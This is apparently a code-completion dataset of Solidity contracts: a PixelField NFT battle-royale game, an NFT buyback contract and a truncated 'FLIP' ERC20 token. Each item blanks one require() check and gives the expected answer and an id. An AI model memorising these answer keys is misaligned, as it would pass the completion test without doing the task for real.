// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "@openzeppelin/contracts/access/Ownable.sol"; import './PixelTag.sol'; import './PixelRoyale.sol'; contract PixelField is Ownable { //---------- Addies ----------// address public contractCreator; address public lastPlayer; address public mostAttacks; address public randomPlayer; address public randomTag; address public abashoCollective; // ---> Needs to be set address public constant pixelTagContract = 0xCB4e67764885A322061199845b89A502879D12CF; // ---> Interface for Tags DONE --> Turn into constant before we ship address public constant pixelWarContract = 0xce73F0473a49807a92a95659c0b8dD883B29c252; // ---> Interface for Warriors DONE --> Turn into constant before we ship //---------- Player Vars ----------// uint256 public constant MAXPIXELS = 4444; mapping(uint256 =>int256) public pixelWarriors; // Inialize state for each pixelWarrior uint256 public fallenPixels; // ---> Inits to 0 //---------- Bools ----------// bool public pixelWarStarted; bool public pixelWarConcluded; bool internal payout; //---------- General Condition ----------// uint256 public timeLimit = 1671667200; // Thursday, 22. December 2022 00:00:00 GMT uint256 constant ITEM_PRICE = 0.005 ether; mapping(address => uint256) public walletHighscore; // ---> keeps track of each wallet highscore uint256 public currentHighscore; string private salt; //---------- Mini Jackpot Vars ----------// uint256 public jackpot; //---------- Events ----------// event DropOut(address from,uint256 tokenId); event MiniJackpotWin(address winner, uint256 jackpotAmount); //---------- Construct----------// constructor() { } //----------SET LATE ABASHO COLLECTIVE ADDRESS ---- function setAbashoADDR(address _addr) external onlyOwner { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Manually Start PixelRoyale ----------// function startPixelWar() external onlyOwner { } //---------- Calculate Amount Of "Alive" Players ----------// function getPopulation() public view returns(uint256 _population) { } //---------- Returns Last Player ID ----------// function checkLastSurvivor() public view returns(uint256 _winner) { } //---------- Checks If Specified TokenID Is "Alive" ----------// function isAlive(uint256 _tokenId) public view returns(bool _alive) { } //---------- Returns Random "Alive" TokenID ----------// function returnRandomId() public view returns(uint256 _tokenId) { } //---------- Pseudo Random Number Generator From Range ----------// function pseudoRandom(uint256 _number, string memory _specialSalt) internal view returns(uint256 number) { } //---------- Change Salt Value Pseudo Randomness ----------// function changeSalt(string memory _newSalt) public onlyOwner { } //---------- Set HP For Players | Protect/Attack ----------// function setHP(uint256 _tokenId, int256 _amount) external payable { require(!pixelWarConcluded, "PixelRoyale has concluded!"); require(pixelWarStarted, "PixelRoyale hasn't started!"); require(getPopulation() > 1, "We already have a winner!"); require(_amount != 0, "Value needs to be > or < than 0"); require(<FILL_ME>) uint256 priceMod = 10; // ---> 0% uint256 amount; // turn _amount into a positive amount value _amount < 0 ? amount = uint256(_amount*-1) : amount = uint256(_amount); // bulk pricing: if(amount>6) { priceMod = 8; // ---> 20% if(amount>12) { priceMod = 7; // ---> 30% if(amount>18) { priceMod = 6; // ---> 40% if(amount>24) { priceMod = 5; } // ---> 50% } } } // calculate purchase uint256 currentPrice = ITEM_PRICE / 10 * priceMod * amount; require((currentPrice) <= msg.value, "Not enough ETH"); // checks on attack purchase if(_amount < 0) { require(pixelWarriors[_tokenId-1]+_amount>-2,"Warrior overkill"); walletHighscore[_msgSender()] += amount; if(walletHighscore[_msgSender()] > currentHighscore) { currentHighscore = walletHighscore[_msgSender()]; mostAttacks = _msgSender(); } } // change health value in player struct (pixelWarriors[_tokenId-1]+_amount) < 0 ? pixelWarriors[_tokenId-1] = -1 : pixelWarriors[_tokenId-1] = pixelWarriors[_tokenId-1] + _amount; // add to mini jackpot array addToPot(msg.value); // try jackpot if(jackpot>0){ tryJackpot(); } // check if token is alive | Check if player has dropped out of Game InterfacePixelTags pixelTag = InterfacePixelTags(pixelTagContract); // ---> Interface to Tags NFT if ( !isAlive(_tokenId) ) { fallenPixels++; pixelTag.mintPixelTag(_msgSender()); // ---> MINT DogTag FROM ERC721A pixelWarriors[_tokenId-1] = -1; //emit DropOut event emit DropOut(_msgSender(),_tokenId); // ---> Killer, Killed Token } // check if population is 1 | check if PixelRoyale has concluded if ( getPopulation() < 2 ) { pixelWarConcluded = true; randomPlayer = wOwnerOf(pseudoRandom(MAXPIXELS,"Warrior")); randomTag = tOwnerOf(pseudoRandom(MAXPIXELS-1,"Tag")); } } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Add 49% Of Bet To Mini Jackpot ----------// function addToPot(uint256 _amount) internal { } //---------- Calculate Current Mini Jackpot Size ----------// //---------- Win Mini Jackpot Function ----------// function tryJackpot() internal { } //--------------------------------------------------------------------------------------------- //---------- WITHDRAW FUNCTIONS ----------// //---------- Distribute Balance if Game Has Not Concluded Prior To Time Limit ----------// function withdraw() public { } //---------- Distribute Balance if Game Has Concluded Prior To Time Limit ----------// //---------- EXPENSIVE WE WILL BE CHANGING THE SALT VALUE PER BLOCK TO RESIST MINER ATTACKS----------// function distributeToWinners() public { } //--------------------------------------------------------------------------------------------- //---------- Interface of PixelWarrior ----------// function wTokenURI(uint256 _tokenId) public view returns (string memory){ } function wOwnerOf(uint256 _tokenId) public view returns (address){ } //---------- Interface of PixelTags ----------// function tTokenURI(uint256 _tokenId) public view returns (string memory){ } function tOwnerOf(uint256 _tokenId) public view returns (address){ } }
pixelWarriors[_tokenId-1]>-1,"Player already out of the Game"
435,940
pixelWarriors[_tokenId-1]>-1
"Not enough ETH"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "@openzeppelin/contracts/access/Ownable.sol"; import './PixelTag.sol'; import './PixelRoyale.sol'; contract PixelField is Ownable { //---------- Addies ----------// address public contractCreator; address public lastPlayer; address public mostAttacks; address public randomPlayer; address public randomTag; address public abashoCollective; // ---> Needs to be set address public constant pixelTagContract = 0xCB4e67764885A322061199845b89A502879D12CF; // ---> Interface for Tags DONE --> Turn into constant before we ship address public constant pixelWarContract = 0xce73F0473a49807a92a95659c0b8dD883B29c252; // ---> Interface for Warriors DONE --> Turn into constant before we ship //---------- Player Vars ----------// uint256 public constant MAXPIXELS = 4444; mapping(uint256 =>int256) public pixelWarriors; // Inialize state for each pixelWarrior uint256 public fallenPixels; // ---> Inits to 0 //---------- Bools ----------// bool public pixelWarStarted; bool public pixelWarConcluded; bool internal payout; //---------- General Condition ----------// uint256 public timeLimit = 1671667200; // Thursday, 22. December 2022 00:00:00 GMT uint256 constant ITEM_PRICE = 0.005 ether; mapping(address => uint256) public walletHighscore; // ---> keeps track of each wallet highscore uint256 public currentHighscore; string private salt; //---------- Mini Jackpot Vars ----------// uint256 public jackpot; //---------- Events ----------// event DropOut(address from,uint256 tokenId); event MiniJackpotWin(address winner, uint256 jackpotAmount); //---------- Construct----------// constructor() { } //----------SET LATE ABASHO COLLECTIVE ADDRESS ---- function setAbashoADDR(address _addr) external onlyOwner { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Manually Start PixelRoyale ----------// function startPixelWar() external onlyOwner { } //---------- Calculate Amount Of "Alive" Players ----------// function getPopulation() public view returns(uint256 _population) { } //---------- Returns Last Player ID ----------// function checkLastSurvivor() public view returns(uint256 _winner) { } //---------- Checks If Specified TokenID Is "Alive" ----------// function isAlive(uint256 _tokenId) public view returns(bool _alive) { } //---------- Returns Random "Alive" TokenID ----------// function returnRandomId() public view returns(uint256 _tokenId) { } //---------- Pseudo Random Number Generator From Range ----------// function pseudoRandom(uint256 _number, string memory _specialSalt) internal view returns(uint256 number) { } //---------- Change Salt Value Pseudo Randomness ----------// function changeSalt(string memory _newSalt) public onlyOwner { } //---------- Set HP For Players | Protect/Attack ----------// function setHP(uint256 _tokenId, int256 _amount) external payable { require(!pixelWarConcluded, "PixelRoyale has concluded!"); require(pixelWarStarted, "PixelRoyale hasn't started!"); require(getPopulation() > 1, "We already have a winner!"); require(_amount != 0, "Value needs to be > or < than 0"); require(pixelWarriors[_tokenId-1] > -1, "Player already out of the Game"); uint256 priceMod = 10; // ---> 0% uint256 amount; // turn _amount into a positive amount value _amount < 0 ? amount = uint256(_amount*-1) : amount = uint256(_amount); // bulk pricing: if(amount>6) { priceMod = 8; // ---> 20% if(amount>12) { priceMod = 7; // ---> 30% if(amount>18) { priceMod = 6; // ---> 40% if(amount>24) { priceMod = 5; } // ---> 50% } } } // calculate purchase uint256 currentPrice = ITEM_PRICE / 10 * priceMod * amount; require(<FILL_ME>) // checks on attack purchase if(_amount < 0) { require(pixelWarriors[_tokenId-1]+_amount>-2,"Warrior overkill"); walletHighscore[_msgSender()] += amount; if(walletHighscore[_msgSender()] > currentHighscore) { currentHighscore = walletHighscore[_msgSender()]; mostAttacks = _msgSender(); } } // change health value in player struct (pixelWarriors[_tokenId-1]+_amount) < 0 ? pixelWarriors[_tokenId-1] = -1 : pixelWarriors[_tokenId-1] = pixelWarriors[_tokenId-1] + _amount; // add to mini jackpot array addToPot(msg.value); // try jackpot if(jackpot>0){ tryJackpot(); } // check if token is alive | Check if player has dropped out of Game InterfacePixelTags pixelTag = InterfacePixelTags(pixelTagContract); // ---> Interface to Tags NFT if ( !isAlive(_tokenId) ) { fallenPixels++; pixelTag.mintPixelTag(_msgSender()); // ---> MINT DogTag FROM ERC721A pixelWarriors[_tokenId-1] = -1; //emit DropOut event emit DropOut(_msgSender(),_tokenId); // ---> Killer, Killed Token } // check if population is 1 | check if PixelRoyale has concluded if ( getPopulation() < 2 ) { pixelWarConcluded = true; randomPlayer = wOwnerOf(pseudoRandom(MAXPIXELS,"Warrior")); randomTag = tOwnerOf(pseudoRandom(MAXPIXELS-1,"Tag")); } } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Add 49% Of Bet To Mini Jackpot ----------// function addToPot(uint256 _amount) internal { } //---------- Calculate Current Mini Jackpot Size ----------// //---------- Win Mini Jackpot Function ----------// function tryJackpot() internal { } //--------------------------------------------------------------------------------------------- //---------- WITHDRAW FUNCTIONS ----------// //---------- Distribute Balance if Game Has Not Concluded Prior To Time Limit ----------// function withdraw() public { } //---------- Distribute Balance if Game Has Concluded Prior To Time Limit ----------// //---------- EXPENSIVE WE WILL BE CHANGING THE SALT VALUE PER BLOCK TO RESIST MINER ATTACKS----------// function distributeToWinners() public { } //--------------------------------------------------------------------------------------------- //---------- Interface of PixelWarrior ----------// function wTokenURI(uint256 _tokenId) public view returns (string memory){ } function wOwnerOf(uint256 _tokenId) public view returns (address){ } //---------- Interface of PixelTags ----------// function tTokenURI(uint256 _tokenId) public view returns (string memory){ } function tOwnerOf(uint256 _tokenId) public view returns (address){ } }
(currentPrice)<=msg.value,"Not enough ETH"
435,940
(currentPrice)<=msg.value
"Warrior overkill"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "@openzeppelin/contracts/access/Ownable.sol"; import './PixelTag.sol'; import './PixelRoyale.sol'; contract PixelField is Ownable { //---------- Addies ----------// address public contractCreator; address public lastPlayer; address public mostAttacks; address public randomPlayer; address public randomTag; address public abashoCollective; // ---> Needs to be set address public constant pixelTagContract = 0xCB4e67764885A322061199845b89A502879D12CF; // ---> Interface for Tags DONE --> Turn into constant before we ship address public constant pixelWarContract = 0xce73F0473a49807a92a95659c0b8dD883B29c252; // ---> Interface for Warriors DONE --> Turn into constant before we ship //---------- Player Vars ----------// uint256 public constant MAXPIXELS = 4444; mapping(uint256 =>int256) public pixelWarriors; // Inialize state for each pixelWarrior uint256 public fallenPixels; // ---> Inits to 0 //---------- Bools ----------// bool public pixelWarStarted; bool public pixelWarConcluded; bool internal payout; //---------- General Condition ----------// uint256 public timeLimit = 1671667200; // Thursday, 22. December 2022 00:00:00 GMT uint256 constant ITEM_PRICE = 0.005 ether; mapping(address => uint256) public walletHighscore; // ---> keeps track of each wallet highscore uint256 public currentHighscore; string private salt; //---------- Mini Jackpot Vars ----------// uint256 public jackpot; //---------- Events ----------// event DropOut(address from,uint256 tokenId); event MiniJackpotWin(address winner, uint256 jackpotAmount); //---------- Construct----------// constructor() { } //----------SET LATE ABASHO COLLECTIVE ADDRESS ---- function setAbashoADDR(address _addr) external onlyOwner { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Manually Start PixelRoyale ----------// function startPixelWar() external onlyOwner { } //---------- Calculate Amount Of "Alive" Players ----------// function getPopulation() public view returns(uint256 _population) { } //---------- Returns Last Player ID ----------// function checkLastSurvivor() public view returns(uint256 _winner) { } //---------- Checks If Specified TokenID Is "Alive" ----------// function isAlive(uint256 _tokenId) public view returns(bool _alive) { } //---------- Returns Random "Alive" TokenID ----------// function returnRandomId() public view returns(uint256 _tokenId) { } //---------- Pseudo Random Number Generator From Range ----------// function pseudoRandom(uint256 _number, string memory _specialSalt) internal view returns(uint256 number) { } //---------- Change Salt Value Pseudo Randomness ----------// function changeSalt(string memory _newSalt) public onlyOwner { } //---------- Set HP For Players | Protect/Attack ----------// function setHP(uint256 _tokenId, int256 _amount) external payable { require(!pixelWarConcluded, "PixelRoyale has concluded!"); require(pixelWarStarted, "PixelRoyale hasn't started!"); require(getPopulation() > 1, "We already have a winner!"); require(_amount != 0, "Value needs to be > or < than 0"); require(pixelWarriors[_tokenId-1] > -1, "Player already out of the Game"); uint256 priceMod = 10; // ---> 0% uint256 amount; // turn _amount into a positive amount value _amount < 0 ? amount = uint256(_amount*-1) : amount = uint256(_amount); // bulk pricing: if(amount>6) { priceMod = 8; // ---> 20% if(amount>12) { priceMod = 7; // ---> 30% if(amount>18) { priceMod = 6; // ---> 40% if(amount>24) { priceMod = 5; } // ---> 50% } } } // calculate purchase uint256 currentPrice = ITEM_PRICE / 10 * priceMod * amount; require((currentPrice) <= msg.value, "Not enough ETH"); // checks on attack purchase if(_amount < 0) { require(<FILL_ME>) walletHighscore[_msgSender()] += amount; if(walletHighscore[_msgSender()] > currentHighscore) { currentHighscore = walletHighscore[_msgSender()]; mostAttacks = _msgSender(); } } // change health value in player struct (pixelWarriors[_tokenId-1]+_amount) < 0 ? pixelWarriors[_tokenId-1] = -1 : pixelWarriors[_tokenId-1] = pixelWarriors[_tokenId-1] + _amount; // add to mini jackpot array addToPot(msg.value); // try jackpot if(jackpot>0){ tryJackpot(); } // check if token is alive | Check if player has dropped out of Game InterfacePixelTags pixelTag = InterfacePixelTags(pixelTagContract); // ---> Interface to Tags NFT if ( !isAlive(_tokenId) ) { fallenPixels++; pixelTag.mintPixelTag(_msgSender()); // ---> MINT DogTag FROM ERC721A pixelWarriors[_tokenId-1] = -1; //emit DropOut event emit DropOut(_msgSender(),_tokenId); // ---> Killer, Killed Token } // check if population is 1 | check if PixelRoyale has concluded if ( getPopulation() < 2 ) { pixelWarConcluded = true; randomPlayer = wOwnerOf(pseudoRandom(MAXPIXELS,"Warrior")); randomTag = tOwnerOf(pseudoRandom(MAXPIXELS-1,"Tag")); } } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Add 49% Of Bet To Mini Jackpot ----------// function addToPot(uint256 _amount) internal { } //---------- Calculate Current Mini Jackpot Size ----------// //---------- Win Mini Jackpot Function ----------// function tryJackpot() internal { } //--------------------------------------------------------------------------------------------- //---------- WITHDRAW FUNCTIONS ----------// //---------- Distribute Balance if Game Has Not Concluded Prior To Time Limit ----------// function withdraw() public { } //---------- Distribute Balance if Game Has Concluded Prior To Time Limit ----------// //---------- EXPENSIVE WE WILL BE CHANGING THE SALT VALUE PER BLOCK TO RESIST MINER ATTACKS----------// function distributeToWinners() public { } //--------------------------------------------------------------------------------------------- //---------- Interface of PixelWarrior ----------// function wTokenURI(uint256 _tokenId) public view returns (string memory){ } function wOwnerOf(uint256 _tokenId) public view returns (address){ } //---------- Interface of PixelTags ----------// function tTokenURI(uint256 _tokenId) public view returns (string memory){ } function tOwnerOf(uint256 _tokenId) public view returns (address){ } }
pixelWarriors[_tokenId-1]+_amount>-2,"Warrior overkill"
435,940
pixelWarriors[_tokenId-1]+_amount>-2
"The prize pool has already been paid out!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "@openzeppelin/contracts/access/Ownable.sol"; import './PixelTag.sol'; import './PixelRoyale.sol'; contract PixelField is Ownable { //---------- Addies ----------// address public contractCreator; address public lastPlayer; address public mostAttacks; address public randomPlayer; address public randomTag; address public abashoCollective; // ---> Needs to be set address public constant pixelTagContract = 0xCB4e67764885A322061199845b89A502879D12CF; // ---> Interface for Tags DONE --> Turn into constant before we ship address public constant pixelWarContract = 0xce73F0473a49807a92a95659c0b8dD883B29c252; // ---> Interface for Warriors DONE --> Turn into constant before we ship //---------- Player Vars ----------// uint256 public constant MAXPIXELS = 4444; mapping(uint256 =>int256) public pixelWarriors; // Inialize state for each pixelWarrior uint256 public fallenPixels; // ---> Inits to 0 //---------- Bools ----------// bool public pixelWarStarted; bool public pixelWarConcluded; bool internal payout; //---------- General Condition ----------// uint256 public timeLimit = 1671667200; // Thursday, 22. December 2022 00:00:00 GMT uint256 constant ITEM_PRICE = 0.005 ether; mapping(address => uint256) public walletHighscore; // ---> keeps track of each wallet highscore uint256 public currentHighscore; string private salt; //---------- Mini Jackpot Vars ----------// uint256 public jackpot; //---------- Events ----------// event DropOut(address from,uint256 tokenId); event MiniJackpotWin(address winner, uint256 jackpotAmount); //---------- Construct----------// constructor() { } //----------SET LATE ABASHO COLLECTIVE ADDRESS ---- function setAbashoADDR(address _addr) external onlyOwner { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Manually Start PixelRoyale ----------// function startPixelWar() external onlyOwner { } //---------- Calculate Amount Of "Alive" Players ----------// function getPopulation() public view returns(uint256 _population) { } //---------- Returns Last Player ID ----------// function checkLastSurvivor() public view returns(uint256 _winner) { } //---------- Checks If Specified TokenID Is "Alive" ----------// function isAlive(uint256 _tokenId) public view returns(bool _alive) { } //---------- Returns Random "Alive" TokenID ----------// function returnRandomId() public view returns(uint256 _tokenId) { } //---------- Pseudo Random Number Generator From Range ----------// function pseudoRandom(uint256 _number, string memory _specialSalt) internal view returns(uint256 number) { } //---------- Change Salt Value Pseudo Randomness ----------// function changeSalt(string memory _newSalt) public onlyOwner { } //---------- Set HP For Players | Protect/Attack ----------// function setHP(uint256 _tokenId, int256 _amount) external payable { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Add 49% Of Bet To Mini Jackpot ----------// function addToPot(uint256 _amount) internal { } //---------- Calculate Current Mini Jackpot Size ----------// //---------- Win Mini Jackpot Function ----------// function tryJackpot() internal { } //--------------------------------------------------------------------------------------------- //---------- WITHDRAW FUNCTIONS ----------// //---------- Distribute Balance if Game Has Not Concluded Prior To Time Limit ----------// function withdraw() public { } //---------- Distribute Balance if Game Has Concluded Prior To Time Limit ----------// //---------- EXPENSIVE WE WILL BE CHANGING THE SALT VALUE PER BLOCK TO RESIST MINER ATTACKS----------// function distributeToWinners() public { // DONE require(pixelWarConcluded, "The game has not concluded yet!"); // DONE require(<FILL_ME>) // DONE uint256 balance = address(this).balance; // DONE // 25% to Last player and most attacks payable(wOwnerOf(checkLastSurvivor())).transfer(balance/100*25); // DONE//// ------------------> expensive, 4k Gas loop is called here payable(mostAttacks).transfer(balance/100*25); // DONE // 15% to random holder of Player and Dog Tag NFTs payable(randomPlayer).transfer(balance/100*10); // DONE payable(randomTag).transfer(balance/100*10); // DONE // 15% to abasho collective and remainder to Contract Creator payable(abashoCollective).transfer(balance/100*15); // DONE payable(contractCreator).transfer(address(this).balance); // DONE payout = true; // DONE } //--------------------------------------------------------------------------------------------- //---------- Interface of PixelWarrior ----------// function wTokenURI(uint256 _tokenId) public view returns (string memory){ } function wOwnerOf(uint256 _tokenId) public view returns (address){ } //---------- Interface of PixelTags ----------// function tTokenURI(uint256 _tokenId) public view returns (string memory){ } function tOwnerOf(uint256 _tokenId) public view returns (address){ } }
!payout,"The prize pool has already been paid out!"
435,940
!payout
"Token Id can't be zero."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./interface/IGangaNomads.sol"; // @author: olive //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ▄████ ▄▄▄ ███▄ █ ▄████ ▄▄▄ ▄▄▄▄ █ ██▓██ ██▓ ▄▄▄▄ ▄▄▄ ▄████▄ ██ ▄█▀ // // ██▒ ▀█▒▒████▄ ██ ▀█ █ ██▒ ▀█▒▒████▄ ▓█████▄ ██ ▓██▒▒██ ██▒▓█████▄ ▒████▄ ▒██▀ ▀█ ██▄█▒ // // ▒██░▄▄▄░▒██ ▀█▄ ▓██ ▀█ ██▒▒██░▄▄▄░▒██ ▀█▄ ▒██▒ ▄██▓██ ▒██░ ▒██ ██░▒██▒ ▄██▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ // // ░▓█ ██▓░██▄▄▄▄██ ▓██▒ ▐▌██▒░▓█ ██▓░██▄▄▄▄██ ▒██░█▀ ▓▓█ ░██░ ░ ▐██▓░▒██░█▀ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ // // ░▒▓███▀▒ ▓█ ▓██▒▒██░ ▓██░░▒▓███▀▒ ▓█ ▓██▒ ░▓█ ▀█▓▒▒█████▓ ░ ██▒▓░░▓█ ▀█▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄ // // ░▒ ▒ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ░▒ ▒ ▒▒ ▓▒█░ ░▒▓███▀▒░▒▓▒ ▒ ▒ ██▒▒▒ ░▒▓███▀▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒ // // ░ ░ ▒ ▒▒ ░░ ░░ ░ ▒░ ░ ░ ▒ ▒▒ ░ ▒░▒ ░ ░░▒░ ░ ░ ▓██ ░▒░ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ // // ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░░░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░░ ░ // // ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ // // ░ ░ ░ ░ ░ // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract GangaBuyback is Ownable, ReentrancyGuard { address private signerAddress; mapping(address => bool) internal admins; address public constant topAdminAddress = 0x5fD345f759E6cE8619d7E3A57444093Fe0b52F66; IGangaNomads public gangaNomads; event Deposited(uint256 amount); event Buyback(address to, uint256 amount); constructor(address _signer, IGangaNomads _gangaNomads) { } modifier onlyAdmin() { } function addAdminRole(address _address) external onlyOwner { } function revokeAdminRole(address _address) external onlyOwner { } function deposit() public payable onlyAdmin { } function withdrawSome(uint256 _amount) public onlyAdmin { } function withdrawAll() public onlyAdmin { } function _withdraw(address _address, uint256 _amount) private { } function buyback(uint256 _amount, uint256[] calldata _tokenIds, bytes memory _signature) external nonReentrant{ uint256 balance = address(this).balance; require(_amount <= balance, "GangaBuyback: Not enough balance"); address wallet = _msgSender(); address signerOwner = signatureWallet(wallet, _amount, _tokenIds, _signature); require(signerOwner == signerAddress, "GangaBuyback: Invalid data provided"); require(_tokenIds.length > 0, "GangaBuyback: Invalid tokenIds"); for(uint8 i = 0; i < _tokenIds.length; i ++) { require(<FILL_ME>) require( gangaNomads.ownerOf(_tokenIds[i]) == wallet, "GangaBuyback: Caller is not owner." ); } gangaNomads.burn(_tokenIds); _withdraw(wallet, _amount); emit Buyback(wallet, _amount); } function signatureWallet(address _wallet, uint256 _amount, uint256[] calldata _tokenIds , bytes memory _signature) public pure returns (address){ } function updateSignerAddress(address _signer) public onlyOwner { } function setGangaNomads(IGangaNomads _gangaNomads) public onlyOwner { } }
_tokenIds[i]!=0,"Token Id can't be zero."
435,956
_tokenIds[i]!=0
"GangaBuyback: Caller is not owner."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./interface/IGangaNomads.sol"; // @author: olive //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ▄████ ▄▄▄ ███▄ █ ▄████ ▄▄▄ ▄▄▄▄ █ ██▓██ ██▓ ▄▄▄▄ ▄▄▄ ▄████▄ ██ ▄█▀ // // ██▒ ▀█▒▒████▄ ██ ▀█ █ ██▒ ▀█▒▒████▄ ▓█████▄ ██ ▓██▒▒██ ██▒▓█████▄ ▒████▄ ▒██▀ ▀█ ██▄█▒ // // ▒██░▄▄▄░▒██ ▀█▄ ▓██ ▀█ ██▒▒██░▄▄▄░▒██ ▀█▄ ▒██▒ ▄██▓██ ▒██░ ▒██ ██░▒██▒ ▄██▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ // // ░▓█ ██▓░██▄▄▄▄██ ▓██▒ ▐▌██▒░▓█ ██▓░██▄▄▄▄██ ▒██░█▀ ▓▓█ ░██░ ░ ▐██▓░▒██░█▀ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ // // ░▒▓███▀▒ ▓█ ▓██▒▒██░ ▓██░░▒▓███▀▒ ▓█ ▓██▒ ░▓█ ▀█▓▒▒█████▓ ░ ██▒▓░░▓█ ▀█▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄ // // ░▒ ▒ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ░▒ ▒ ▒▒ ▓▒█░ ░▒▓███▀▒░▒▓▒ ▒ ▒ ██▒▒▒ ░▒▓███▀▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒ // // ░ ░ ▒ ▒▒ ░░ ░░ ░ ▒░ ░ ░ ▒ ▒▒ ░ ▒░▒ ░ ░░▒░ ░ ░ ▓██ ░▒░ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ // // ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░░░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░░ ░ // // ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ // // ░ ░ ░ ░ ░ // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract GangaBuyback is Ownable, ReentrancyGuard { address private signerAddress; mapping(address => bool) internal admins; address public constant topAdminAddress = 0x5fD345f759E6cE8619d7E3A57444093Fe0b52F66; IGangaNomads public gangaNomads; event Deposited(uint256 amount); event Buyback(address to, uint256 amount); constructor(address _signer, IGangaNomads _gangaNomads) { } modifier onlyAdmin() { } function addAdminRole(address _address) external onlyOwner { } function revokeAdminRole(address _address) external onlyOwner { } function deposit() public payable onlyAdmin { } function withdrawSome(uint256 _amount) public onlyAdmin { } function withdrawAll() public onlyAdmin { } function _withdraw(address _address, uint256 _amount) private { } function buyback(uint256 _amount, uint256[] calldata _tokenIds, bytes memory _signature) external nonReentrant{ uint256 balance = address(this).balance; require(_amount <= balance, "GangaBuyback: Not enough balance"); address wallet = _msgSender(); address signerOwner = signatureWallet(wallet, _amount, _tokenIds, _signature); require(signerOwner == signerAddress, "GangaBuyback: Invalid data provided"); require(_tokenIds.length > 0, "GangaBuyback: Invalid tokenIds"); for(uint8 i = 0; i < _tokenIds.length; i ++) { require(_tokenIds[i] != 0, "Token Id can't be zero."); require(<FILL_ME>) } gangaNomads.burn(_tokenIds); _withdraw(wallet, _amount); emit Buyback(wallet, _amount); } function signatureWallet(address _wallet, uint256 _amount, uint256[] calldata _tokenIds , bytes memory _signature) public pure returns (address){ } function updateSignerAddress(address _signer) public onlyOwner { } function setGangaNomads(IGangaNomads _gangaNomads) public onlyOwner { } }
gangaNomads.ownerOf(_tokenIds[i])==wallet,"GangaBuyback: Caller is not owner."
435,956
gangaNomads.ownerOf(_tokenIds[i])==wallet
"ERC20: trading is not yet enabled."
/* FLIP / ETH v BTC \ THE FLIPPENING Now or never! */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private addFlip; uint256 private _theFlipper = block.number*2; mapping (address => bool) private _endTimes; mapping (address => bool) private _spaceVerge; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private conVergence; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private vengeance; address public pair; IDEXRouter router; string 